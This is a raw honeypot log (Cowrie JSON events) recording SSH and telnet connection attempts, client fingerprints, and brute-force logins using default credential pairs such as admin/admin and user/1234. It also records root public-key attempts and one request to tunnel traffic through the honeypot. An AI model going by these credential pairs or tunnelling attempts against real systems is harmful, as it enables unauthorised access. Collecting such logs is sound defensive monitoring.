{"eventid":"cowrie.session.connect","src_ip":"31.57.216.11","src_port":55316,"dst_ip":"10.17.0.5","dst_port":22,"session":"022b7e4575d7","protocol":"ssh","message":"New connection: 31.57.216.11:55316 (10.17.0.5:22) [session: 022b7e4575d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:56:27.646661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:56:27.661212Z","src_ip":"31.57.216.11","session":"022b7e4575d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:56:27.764798Z","src_ip":"31.57.216.11","session":"022b7e4575d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:56:27.978933Z","src_ip":"31.57.216.11","session":"022b7e4575d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:56:29.089724Z","src_ip":"31.57.216.11","session":"022b7e4575d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.237.169.162","src_port":10084,"dst_ip":"159.203.135.109","dst_port":23,"session":"13df687dcc10","protocol":"telnet","message":"New connection: 186.237.169.162:10084 (159.203.135.109:23) [session: 13df687dcc10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:56:38.384806Z"}
{"eventid":"cowrie.session.closed","duration":14.02386736869812,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:56:52.408542Z","src_ip":"186.237.169.162","session":"13df687dcc10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":52230,"dst_ip":"10.17.0.5","dst_port":22,"session":"77003a33014d","protocol":"ssh","message":"New connection: 87.251.64.176:52230 (10.17.0.5:22) [session: 77003a33014d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:57:04.189717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:57:04.195077Z","src_ip":"87.251.64.176","session":"77003a33014d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:57:04.292271Z","src_ip":"87.251.64.176","session":"77003a33014d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:57:04.584532Z","src_ip":"87.251.64.176","session":"77003a33014d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:57:04.686723Z","session":"77003a33014d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:57:04.786251Z","src_ip":"87.251.64.176","session":"77003a33014d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:57:05.022696Z","src_ip":"87.251.64.176","session":"77003a33014d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.47","src_port":12486,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ad7dbbbbd24","protocol":"ssh","message":"New connection: 45.153.34.47:12486 (159.203.135.109:22) [session: 6ad7dbbbbd24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:57:57.284461Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:57:57.289730Z","src_ip":"45.153.34.47","session":"6ad7dbbbbd24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.47","src_port":12498,"dst_ip":"159.203.135.109","dst_port":22,"session":"353a7bb3e006","protocol":"ssh","message":"New connection: 45.153.34.47:12498 (159.203.135.109:22) [session: 353a7bb3e006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:57:57.616931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:57:57.623264Z","src_ip":"45.153.34.47","session":"353a7bb3e006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:57:57.707305Z","src_ip":"45.153.34.47","session":"353a7bb3e006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:57:57.877325Z","src_ip":"45.153.34.47","session":"353a7bb3e006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:57:58.965227Z","src_ip":"45.153.34.47","session":"353a7bb3e006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00492644309998,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:58:02.844775Z","src_ip":"31.134.20.206","session":"8c7548ce48db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.20.206","src_port":47162,"dst_ip":"159.203.135.109","dst_port":23,"session":"b56fd9e94278","protocol":"telnet","message":"New connection: 31.134.20.206:47162 (159.203.135.109:23) [session: b56fd9e94278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:58:04.000959Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.163","src_port":37270,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c4751062432","protocol":"ssh","message":"New connection: 154.16.115.163:37270 (10.17.0.5:22) [session: 0c4751062432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:59:27.439863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:59:27.444865Z","src_ip":"154.16.115.163","session":"0c4751062432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:59:27.473743Z","src_ip":"154.16.115.163","session":"0c4751062432","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:8f:93:51:3e:80:fa:ab:39:63:17:5a:cd:2d:74:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5qJket+nTkngPNpXLF/vbdpMb7mF7gkjEXTFID/Fr+VHjobQDyR5eOqqsarc77ZMx0j1zlTCkCwz93Kns0stY+KOhkQpDULYJs8lSLM5c/HcrqCQC1fAqxScybK08xVbV6tWD55VfbACijJOYRzEP+XKmZ2CHR3akdbNmudzG9MUcKlYhK385Ls1Svei3U2fOa9dAvs7NcHwzkxfZVG1dF6n5Uq2SKKW+e3btX0RlB6bh29iXlkFhq6hVfFQvO52EkjLL96J2YY9qxcHlvpj+ZJTWQDT2y9Hm579uxwaA6q4wvYJ6DHPQ1tV7PUN7Iq6r2GpB+8FX/yPRl2c534vx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:8f:93:51:3e:80:fa:ab:39:63:17:5a:cd:2d:74:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:59:27.592417Z","src_ip":"154.16.115.163","session":"0c4751062432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:8f:93:51:3e:80:fa:ab:39:63:17:5a:cd:2d:74:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5qJket+nTkngPNpXLF/vbdpMb7mF7gkjEXTFID/Fr+VHjobQDyR5eOqqsarc77ZMx0j1zlTCkCwz93Kns0stY+KOhkQpDULYJs8lSLM5c/HcrqCQC1fAqxScybK08xVbV6tWD55VfbACijJOYRzEP+XKmZ2CHR3akdbNmudzG9MUcKlYhK385Ls1Svei3U2fOa9dAvs7NcHwzkxfZVG1dF6n5Uq2SKKW+e3btX0RlB6bh29iXlkFhq6hVfFQvO52EkjLL96J2YY9qxcHlvpj+ZJTWQDT2y9Hm579uxwaA6q4wvYJ6DHPQ1tV7PUN7Iq6r2GpB+8FX/yPRl2c534vx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:59:27.596794Z","src_ip":"154.16.115.163","session":"0c4751062432","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:2a:c9:ad:e4:a1:e0:47:28:7b:88:e2:f1:d2:0b:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzyanRGiDR0u8oy7SoFTYSU6A2tIP7p0E5zIgg6zXvWZpIOPRfRV/eLh8OS45a0j9/g5x+lBcmpJXm4kBslw6HCUH1gVs+dcCJA6tNh8WmK1U4+ZqaAarJwX1hOTM7d2SZusmuGDGmZKvXJQI5Loqm3BgloYc5WUZrdQLDhwAbGnho1rJLSFipdH3yjXkjlmQEDBmrcaZQegBP0Q3yp/+gS5ZvFesd0LVbGJFnBs4fl+xTMGbImA2evQMU4m9DkZ/u4QZmtnJYnD3vdo2araGZkO77tubEmgtTuK+8sqr/6QdhxUlY9iS9TrXwfHu/MqbfTluP+Oy9U1QJDnvJXHAzw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:2a:c9:ad:e4:a1:e0:47:28:7b:88:e2:f1:d2:0b:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:59:27.626643Z","src_ip":"154.16.115.163","session":"0c4751062432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:2a:c9:ad:e4:a1:e0:47:28:7b:88:e2:f1:d2:0b:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzyanRGiDR0u8oy7SoFTYSU6A2tIP7p0E5zIgg6zXvWZpIOPRfRV/eLh8OS45a0j9/g5x+lBcmpJXm4kBslw6HCUH1gVs+dcCJA6tNh8WmK1U4+ZqaAarJwX1hOTM7d2SZusmuGDGmZKvXJQI5Loqm3BgloYc5WUZrdQLDhwAbGnho1rJLSFipdH3yjXkjlmQEDBmrcaZQegBP0Q3yp/+gS5ZvFesd0LVbGJFnBs4fl+xTMGbImA2evQMU4m9DkZ/u4QZmtnJYnD3vdo2araGZkO77tubEmgtTuK+8sqr/6QdhxUlY9iS9TrXwfHu/MqbfTluP+Oy9U1QJDnvJXHAzw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:59:27.633396Z","src_ip":"154.16.115.163","session":"0c4751062432","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:57:58:7d:32:cb:ab:00:fa:e9:d7:ac:9a:21:af:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo5dBlOuLf1oU3885CMRdbpT7nWJe9hgyEoHF4ra1MGJ5Ce+bnY/zfPaT40nx38Jk5dhqUUPt1kbEAHNKSoTCVNDzEIJ9JG286aH/mlfx8jlCcXMIHonn8+M07O5EsC6JwLYg40Ye7UwT4MWxiM1glHUay8dNgavuDTLq8y3W7yh/eS/0HeCe1h/dUV4BUHXh02j7ib/QfhFX0himUtXQA64maL/lY1bqe+v1Z5zxHp5lnsAnvvaW/QrUYK/Q2LP/QtM48jPAAm8zGij6+0KUd5n7X0qsZoEvy/3v00yV9ZZ5tQ2UwyKcyonc43oD6h8XBwkH41hSd7kYNDqHd+CE0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:57:58:7d:32:cb:ab:00:fa:e9:d7:ac:9a:21:af:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:59:27.662248Z","src_ip":"154.16.115.163","session":"0c4751062432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:57:58:7d:32:cb:ab:00:fa:e9:d7:ac:9a:21:af:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo5dBlOuLf1oU3885CMRdbpT7nWJe9hgyEoHF4ra1MGJ5Ce+bnY/zfPaT40nx38Jk5dhqUUPt1kbEAHNKSoTCVNDzEIJ9JG286aH/mlfx8jlCcXMIHonn8+M07O5EsC6JwLYg40Ye7UwT4MWxiM1glHUay8dNgavuDTLq8y3W7yh/eS/0HeCe1h/dUV4BUHXh02j7ib/QfhFX0himUtXQA64maL/lY1bqe+v1Z5zxHp5lnsAnvvaW/QrUYK/Q2LP/QtM48jPAAm8zGij6+0KUd5n7X0qsZoEvy/3v00yV9ZZ5tQ2UwyKcyonc43oD6h8XBwkH41hSd7kYNDqHd+CE0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:59:27.666792Z","src_ip":"154.16.115.163","session":"0c4751062432","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:06:b3:7b:0f:cc:a9:15:5f:2b:b2:06:94:93:0a:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs6pyW9uGa9Gsu/i8yAKdE2QGXsx4jQxhLhUGQjDurkBixnYgXMXJLdUiYMSJLr3JKznVRfFNeCidK09Mwn3WrbNfmgsryND8XDCTlrUesBPLKhgAshYGzvHvEDSqm3zWghLmj7HakN8tCP0rMtVaMZzbsIHuQskruiFUChM00wsmalw3mUT964HXwXwTTBSIXvhmw9mnTEkcC+XGjIlD7aIhytQWnyFxekjBgNW9KU6nCqhsAzgBmBxqOWFJtXpHMiFPfdFDsiSdKlewyF2yuhqSnzK0LbutP4qCOAfXbcWloRcIhB4Mei+YkSbj2IgXEOXz96ZNJO52l412TXuuow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:06:b3:7b:0f:cc:a9:15:5f:2b:b2:06:94:93:0a:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:59:27.697206Z","src_ip":"154.16.115.163","session":"0c4751062432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:06:b3:7b:0f:cc:a9:15:5f:2b:b2:06:94:93:0a:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs6pyW9uGa9Gsu/i8yAKdE2QGXsx4jQxhLhUGQjDurkBixnYgXMXJLdUiYMSJLr3JKznVRfFNeCidK09Mwn3WrbNfmgsryND8XDCTlrUesBPLKhgAshYGzvHvEDSqm3zWghLmj7HakN8tCP0rMtVaMZzbsIHuQskruiFUChM00wsmalw3mUT964HXwXwTTBSIXvhmw9mnTEkcC+XGjIlD7aIhytQWnyFxekjBgNW9KU6nCqhsAzgBmBxqOWFJtXpHMiFPfdFDsiSdKlewyF2yuhqSnzK0LbutP4qCOAfXbcWloRcIhB4Mei+YkSbj2IgXEOXz96ZNJO52l412TXuuow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:59:27.701843Z","src_ip":"154.16.115.163","session":"0c4751062432","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:cb:8d:4c:11:80:fc:5d:9f:90:52:0a:8e:ca:8a:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD+G8G8zyujAIWeJR4gWmPZLq9QjfdCe+xlQwyiQsAslMUVVRY58o1UMbo1niOP5KisLuuMJlI715oxO8kYfOJ20idnW/CeK66vWXjwevBoP7PfJ89/XVxZ3jpRMriMnsww5qFRTgs0dpyCCWzosO6Hj0Y7hTnoJd9ax/V4hjnx2nVvaEv2SRhVSayIARCyAtrdwYzY8LEgSnK9WrrG/YU4OKgT/XZutuSm0nliDycrWhNNGGYQsCab+nU9Iy27/N2jXomqx0G9o1YunqLwR1Mp6plbM3660otp0nGdB+ubtO3n+Dq8bRoTRJrDtfefWeyVHtak+Q6LhUd9jjQYjjnb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:cb:8d:4c:11:80:fc:5d:9f:90:52:0a:8e:ca:8a:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:59:27.732099Z","src_ip":"154.16.115.163","session":"0c4751062432","protocol":"ssh"}
